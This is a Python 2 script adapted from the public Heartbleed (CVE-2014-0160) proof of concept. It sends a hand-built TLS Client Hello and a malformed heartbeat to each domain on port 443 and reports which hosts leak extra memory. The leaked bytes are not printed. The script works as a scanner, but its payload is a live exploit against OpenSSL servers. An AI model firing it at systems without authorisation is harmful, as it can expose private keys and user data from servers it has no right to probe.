heartbleed_test.py

#!/usr/bin/python

# Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford ([email protected])
# The author disclaims copyright to this source code.

# Quickly and dirtily modified by Mustafa Al-Bassam ([email protected]) to test
# the Alexa top X.

# Modified by Matt George (mgeorge@gmail) to test arbitrary domains

import sys
import struct
import socket
import time
import select
import argparse

parser = argparse.ArgumentParser(description='Test for SSL heartbeat vulnerability (CVE-2014-0160) on multiple domains.')
parser.add_argument('domain', nargs='+')

def h2bin(x):
    return x.replace(' ', '').replace('\n', '').decode('hex')

hello = h2bin('''
16 03 02 00  dc 01 00 00 d8 03 02 53
43 5b 90 9d 9b 72 0b bc  0c bc 2b 92 a8 48 97 cf
bd 39 04 cc 16 0a 85 03  90 9f 77 04 33 d4 de 00
00 66 c0 14 c0 0a c0 22  c0 21 00 39 00 38 00 88
00 87 c0 0f c0 05 00 35  00 84 c0 12 c0 08 c0 1c
c0 1b 00 16 00 13 c0 0d  c0 03 00 0a c0 13 c0 09
c0 1f c0 1e 00 33 00 32  00 9a 00 99 00 45 00 44
c0 0e c0 04 00 2f 00 96  00 41 c0 11 c0 07 c0 0c
c0 02 00 05 00 04 00 15  00 12 00 09 00 14 00 11
00 08 00 06 00 03 00 ff  01 00 00 49 00 0b 00 04
03 00 01 02 00 0a 00 34  00 32 00 0e 00 0d 00 19
00 0b 00 0c 00 18 00 09  00 0a 00 16 00 17 00 08
00 06 00 07 00 14 00 15  00 04 00 05 00 12 00 13
00 01 00 02 00 03 00 0f  00 10 00 11 00 23 00 00
00 0f 00 01 01                                  
''')

hb = h2bin(''' 
18 03 02 00 03
01 40 00
''')

def hexdump(s):
    for b in xrange(0, len(s), 16):
        lin = [c for c in s[b : b + 16]]
        hxdat = ' '.join('%02X' % ord(c) for c in lin)
        pdat = ''.join((c if 32 <= ord(c) <= 126 else '.' )for c in lin)
        #print '  %04x: %-48s %s' % (b, hxdat, pdat)
    #print

def recvall(s, length, timeout=5):
    endtime = time.time() + timeout
    rdata = ''
    remain = length
    while remain > 0:
        rtime = endtime - time.time() 
        if rtime < 0:
            return None
        r, w, e = select.select([s], [], [], 5)
        if s in r:
            try:
                data = s.recv(remain)
            except Exception, e:
                return None
            # EOF?
            if not data:
                return None
            rdata += data
            remain -= len(data)
    return rdata
        

def recvmsg(s):
    hdr = recvall(s, 5)
    if hdr is None:
        #print 'Unexpected EOF receiving record header - server closed connection'
        return None, None, None
    typ, ver, ln = struct.unpack('>BHH', hdr)
    pay = recvall(s, ln, 10)
    if pay is None:
        #print 'Unexpected EOF receiving record payload - server closed connection'
        return None, None, None
    #print ' ... received message: type = %d, ver = %04x, length = %d' % (typ, ver, len(pay))
    return typ, ver, pay

def hit_hb(s):
    s.send(hb)
    while True:
        typ, ver, pay = recvmsg(s)
        if typ is None:
            #print 'No heartbeat response received, server likely not vulnerable'
            return False

        if typ == 24:
            #print 'Received heartbeat response:'
            hexdump(pay)
            if len(pay) > 3:
                #print 'WARNING: server returned more data than it should - server is vulnerable!'
                return True
            else:
                #print 'Server processed malformed heartbeat, but did not return any extra data.'
                return False

        if typ == 21:
            #print 'Received alert:'
            hexdump(pay)
            #print 'Server returned error, likely not vulnerable'
            return False

def is_vulnerable(domain):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.settimeout(2)
    #print 'Connecting...'
    #sys.stdout.flush()
    try:
        s.connect((domain, 443))
    except Exception, e:
        return None
    #print 'Sending Client Hello...'
    #sys.stdout.flush()
    s.send(hello)
    #print 'Waiting for Server Hello...'
    #sys.stdout.flush()
    while True:
        typ, ver, pay = recvmsg(s)
        if typ == None:
            #print 'Server closed connection without sending Server Hello.'
            return None
        # Look for server hello done message.
        if typ == 22 and ord(pay[0]) == 0x0E:
            break

    #print 'Sending heartbeat request...'
    #sys.stdout.flush()
    s.send(hb)
    return hit_hb(s)

def main():
    #opts, args = options.parse_args()
    args = parser.parse_args()
    print args.domain
    #if len(args) < 2:
    #    options.print_help()
    #    return

    counter_nossl = 0;
    counter_notvuln = 0;
    counter_vuln = 0;

    #f = open(args[0], 'r')
    for domain in args.domain:
        #rank, domain = line.split(',')
        domain = domain.strip()
        print "Testing " + domain + "... ",
        sys.stdout.flush();
        result = is_vulnerable(domain);
        if result is None:
            print "no SSL."
            counter_nossl += 1;
        elif result:
            print "vulnerable."
            counter_vuln += 1;
        else:
            print "not vulnerable."
            counter_notvuln += 1;


    print
    print "No SSL: " + str(counter_nossl)
    print "Vulnerable: " + str(counter_vuln)
    print "Not vulnerable: " + str(counter_notvuln)

if __name__ == '__main__':
    main()